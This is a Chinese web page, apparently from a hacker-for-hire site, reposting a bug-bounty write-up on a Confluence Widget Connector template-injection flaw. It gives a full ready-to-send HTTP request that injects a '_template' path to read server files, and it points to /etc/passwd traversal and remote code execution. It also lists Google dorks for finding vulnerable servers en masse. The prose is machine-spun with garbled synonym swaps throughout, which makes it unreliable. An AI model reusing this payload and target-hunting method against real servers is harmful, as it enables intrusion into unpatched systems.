揭秘使用Confluence未授权RCE漏洞在6小时内黑掉50+公司-黑客接单平台

访客5年前黑客文章976
长话短说,其实早在2019年我就创建了我的Hackerone/Bugcrowd profiles,但我从未在那里陈述过任何的缝隙。这是之一个让我觉得值得陈述的缝隙,也打破了我多年来零陈述的记载。 安全布告 Confluence官方发布安全更新指出,Confluence Server与Confluence Data Center中的Widget Connector存在服务端模板注入缝隙,进犯者能运用此缝隙能够完成目录穿越遍历乃至长途代码履行。 Widget Connector为何易受进犯? Widget Connector宏协助你在供给URL时将在线视频,幻灯片,相片流等更直接地嵌入到页面中。 该宏旨在支撑来自以下网站的内容:YouTube, Vimeo, MySpace Video, Flickr, Twitter, Slide Rocket, Google Calendar等 缝隙示例代码 Widget Connector已界说了一些烘托,如,FriendFeedRenderer: public class FriendFeedRenderer implements WidgetRenderer { ... public String getEmbeddedHtml(String url, Map params) { params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm"); return this.velocityRenderService.render(getEmbedUrl(url), params); } } 因而,在这种情况下,进犯者能够供给_template值,后端将运用params进行烘托。 进程重现 在burp中捕获易受进犯confluence页面的恳求(让它成为GET或POST)并将其发送到Repeater。 修正捕获的恳求,如下所示并解析恳求。 留意:你或许需求更改恳求的途径并增加“Referer:”标头,由于在我测验傍边大多数情况下都强制要求增加该标头,因而假如你不增加的话或许会引发“XSRF check failed”的过错提示。 POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: confluence.victim.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://confluence.victim.com/ Content-Type: application/json;charset=UTF-8 X-Requested-With: XMLHttpRequest Upgrade-Insecure-Requests: 1 Content-Length: 163 Connection: close {"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www. *** .com/watch?v=2aK8hy50fS4","width":"1000","height":"1000","_template":"../web.xml"},"body":""}} 你能够运用file:///etc/passwd(途径遍历payloads)或长途履行代码来进一步证明缝隙的损害程度,而不是简略的../web.xml。 修正 在修正版中,它将在烘托html之前调用doSanitizeParameters,这将删去参数中的_template。 Google Dork 让我们测验经过Google Dork搜索语法来查找或许存在相同问题的站点。 我运用的搜索语法是“intitle:dashboard-confluence”,并找到了大约100个Confluence链接,其间大约有21个链接易受进犯。 在看到上面的dork成果后,我意识到Confluence链接不一定便是confluence.companyname.com。 所以我在Google的dorks/keywords下面测验了一下,它给了我大约300多个Confluence链接,其间50多家公司易遭到进犯。 inurl:http://confluence. login.action inurl:https://wiki. .com/confluence/ allinurl: /confluence/login.action? “/spacedirectory/view.action” “/pages/viewpage.action?” “/pages/releaseview.action?” “aboutconfluencepage.action” 尽管我还没有针对任何具有赏金方案的网站,但我仍然收到了许多来自不同公司的美元或欧元的奖金,其他公司则表明他们会向我发送swag以示感谢。

相关文章

Google最新XSS Game Writeup

本文介绍了怎么完结谷歌最新的XSSGame的进程,完结了这八个应战就有时机取得Nexus 5x。实际上这八个应战整体来说都不难,都是些常见的xss。通关要求是只要能弹出alert窗口即可。 第一关...

EMV体系的安全性评价

电子商务、移动付出的遍及,顾客越来越少随身携带现金,人们玩笑道“小偷都快赋闲了”。但在互联网上,靠偷盗用户电子账户资金、虚拟财物的“网络小偷”却非常猖狂。 各种途径走漏的个人信息被加工、转卖,并用于电...

把PHP LFI缝隙变为Webshell的形式

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人...

运用Subversion完成网站自动更新

Subversion概述     概述     Subversion,简称SVN,是一个开放源代码的版别控制体系,相对于的RCS、CVS,采用了分支办理体系。     网站更新拓扑结构       ...

自己着手打造Fiddler挖洞插件

关于一个Web开发人员来说,Fiddler并不生疏。作为一款Web调试利器,它具有强壮的调试功用,灵敏的装备以及丰厚的可扩展功用。我在开发工作中,最喜爱的便是它的Inspectors和AutoResp...

安全研究人员发现 Hacking Team 新开发不易发觉的Mac歹意软件

研究者在HackingTeam上发现了新开发的Mac歹意软件,这项发现促进了投机活动。自从上一年七月以来,这款臭名远扬的歹意软件造成了数Gbytes集团私家邮件和源代码的流出,现在这款软件作者再次出...